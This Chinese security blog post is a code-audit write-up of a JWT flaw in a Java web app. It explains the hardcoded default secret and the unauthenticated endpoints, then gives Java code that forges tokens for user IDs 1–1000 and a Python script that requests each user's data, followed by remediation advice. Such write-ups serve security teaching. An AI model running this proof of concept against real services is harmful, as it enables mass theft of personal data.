记一次代码审计中用户信息泄露漏洞挖掘及POC编写
字数 1646 2025-08-24 07:48:22
代码审计实战:JWT用户信息泄露漏洞挖掘与POC编写
漏洞背景
本文记录了一次针对Java Web应用的代码审计过程,发现了一个通过JWT(JSON Web Token)机制导致的用户信息泄露漏洞。攻击者可以通过构造特定JWT令牌,绕过鉴权机制获取系统所有用户的敏感信息。
审计目标
审计目标是一个使用JWT进行身份验证的Java Web应用,主要关注点包括:
- JWT生成和验证机制
- 系统鉴权设计
- 敏感接口访问控制
代码审计步骤
1. 项目结构分析
首先检查项目依赖和核心安全组件:
- 通过Maven了解项目使用的框架和组件版本
- 重点关注安全相关组件,特别是JWT实现
2. JWT机制分析
关键文件:/core/security/util/JwtTokenUtil.java
该文件是JWT生成和解析的工具类,主要功能点:
JWT生成机制
- 使用HS256算法(HMAC with SHA-256)
- 密钥生成方式:
SecretKeySpec使用Base64解码的默认密钥 - 提供多个重载的
buildJWT方法,其中最简单的实现仅需subject参数
关键代码片段
public static String buildJWT(String sub) {
return buildJWT(sub, null, UUID.randomUUID().toString(), null, null, JwtConsts.EXPIRATION);
}
JWT常量定义
public interface JwtConsts {
String AUTH_HEADER = "Authorization";
String SECRET = "defaultSecret"; // 默认密钥,存在安全隐患
int EXPIRATION = 604800; // 过期时间(秒)
String JWT_SEPARATOR = "Bearer ";
}
3. 鉴权机制分析
系统使用@PassToken注解标记不需要鉴权的接口,审计发现以下免鉴权接口:
新闻相关接口
/api/xxx/news/page/api/xxx/news/info/{id}
广告相关接口
/api/xxx/ad/info/{id}/api/xxx/ad/get_ad_list
Demo类接口
/api/xxx/demo/getUserToken/api/xxx/demo/errorLog/api/xxx/demo/log
通知相关接口
/api/xxx/notice/get_notice
短信验证码
/api/xxx/sms_code
用户相关接口
/api/xxx/user/mp/wx/auth/api/xxx/user/wx/auth/api/xxx/user/qq/auth/callback/api/xxx/user/qq/code/api/xxx/user/password/auth/api/xxx/user/mobile/auth/api/xxx/user/register
4. 漏洞发现
重点关注/api/xxx/demo/getUserToken接口,该接口:
- 使用最简单的
buildJWT方法生成令牌 - 仅需提供用户ID(subject)即可生成有效令牌
- 生成的令牌可用于访问其他需要鉴权的接口
漏洞利用链:
- 通过
/api/xxx/demo/getUserToken获取初始令牌 - 修改JWT中的sub字段(用户ID)
- 使用修改后的令牌访问
/api/xx/user/info接口 - 通过枚举ID值获取所有用户信息
5. POC编写
由于Java与Python在加密实现上的差异,POC编写分为两部分:
Java部分 - 生成令牌字典
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.SignatureAlgorithm;
import javax.crypto.SecretKey;
import javax.crypto.spec.SecretKeySpec;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.security.Key;
import java.util.*;
import org.apache.commons.codec.binary.Base64;
import org.joda.time.DateTime;
public class test {
private static final SignatureAlgorithm JWT_ALG = SignatureAlgorithm.HS256;
public static SecretKey generateKey(SignatureAlgorithm alg, String rule) {
byte[] bytes = Base64.decodeBase64(rule);
return new SecretKeySpec(bytes, alg.getJcaName());
}
public interface JwtConsts {
String AUTH_HEADER = "Authorization";
String SECRET = "defaultSecret";
int EXPIRATION = 604800;
String JWT_SEPARATOR = "Bearer ";
}
public static String buildJWT(SignatureAlgorithm alg, Key key, String sub, String aud, String jti, String iss, Date nbf, Integer duration) {
DateTime iat = DateTime.now();
DateTime exp = null;
if (duration != null) {
exp = (nbf == null ? iat.plusSeconds(duration) : new DateTime(nbf).plusSeconds(duration));
}
String compact = Jwts.builder()
.signWith(alg, key)
.setSubject(sub)
.setAudience(aud)
.setId(jti)
.setIssuer(iss)
.setNotBefore(nbf)
.setIssuedAt(iat.toDate())
.setExpiration(exp != null ? exp.toDate() : null)
.compact();
return io.github.yangyouwang.common.constant.JwtConsts.JWT_SEPARATOR + compact;
}
public static String buildJWT(String sub, String aud, String jti, String iss, Date nbf, Integer duration) {
return buildJWT(JWT_ALG, generateKey(JWT_ALG, JwtConsts.SECRET), sub, aud, jti, iss, nbf, duration);
}
public static String buildJWT(String sub) {
return buildJWT(sub, null, UUID.randomUUID().toString(), null, null, JwtConsts.EXPIRATION);
}
public static void main(String[] args) {
List<String> tokens = new ArrayList<>();
for (int i = 1; i <= 1000; i++) {
String token = buildJWT(String.valueOf(i));
tokens.add(token);
}
try {
Path filePath = Paths.get("tokens.txt");
Files.write(filePath, tokens);
System.out.println("Tokens have been successfully written to 'tokens.txt'.");
} catch (Exception e) {
e.printStackTrace();
}
}
}
Python部分 - 批量请求用户信息
import requests
def exploit():
with open('tokens.txt', 'r') as f:
tokens = f.read().splitlines()
for token in tokens:
headers = {'Authorization': token}
response = requests.get('http://target.com/api/xx/user/info', headers=headers)
if response.status_code == 200:
print(f"Success with token: {token}")
print(response.json())
else:
print(f"Failed with token: {token}")
漏洞修复建议
-
加强JWT安全性:
- 使用更强的密钥,避免使用默认值
- 考虑使用RS256等非对称加密算法替代HS256
- 为不同用户生成不同的密钥
-
完善鉴权机制:
- 严格限制
@PassToken注解的使用范围 - 对敏感接口实施额外的权限检查
- 实现令牌黑名单机制
- 严格限制
-
接口安全设计:
- 避免直接使用用户ID作为JWT subject
- 对用户信息接口增加访问频率限制
- 实施最小权限原则
-
监控与日志:
- 记录异常的令牌生成和验证行为
- 监控用户信息接口的访问模式
总结
本次审计揭示了JWT实现不当导致的安全风险,特别是:
- 过于简单的JWT生成方法
- 默认密钥的使用
- 缺乏对subject字段的有效验证
- 免鉴权接口过多且包含敏感功能
开发人员应重视安全组件的正确实现,避免因便利性而牺牲安全性。安全团队应定期进行代码审计,特别是对身份验证和授权机制的检查。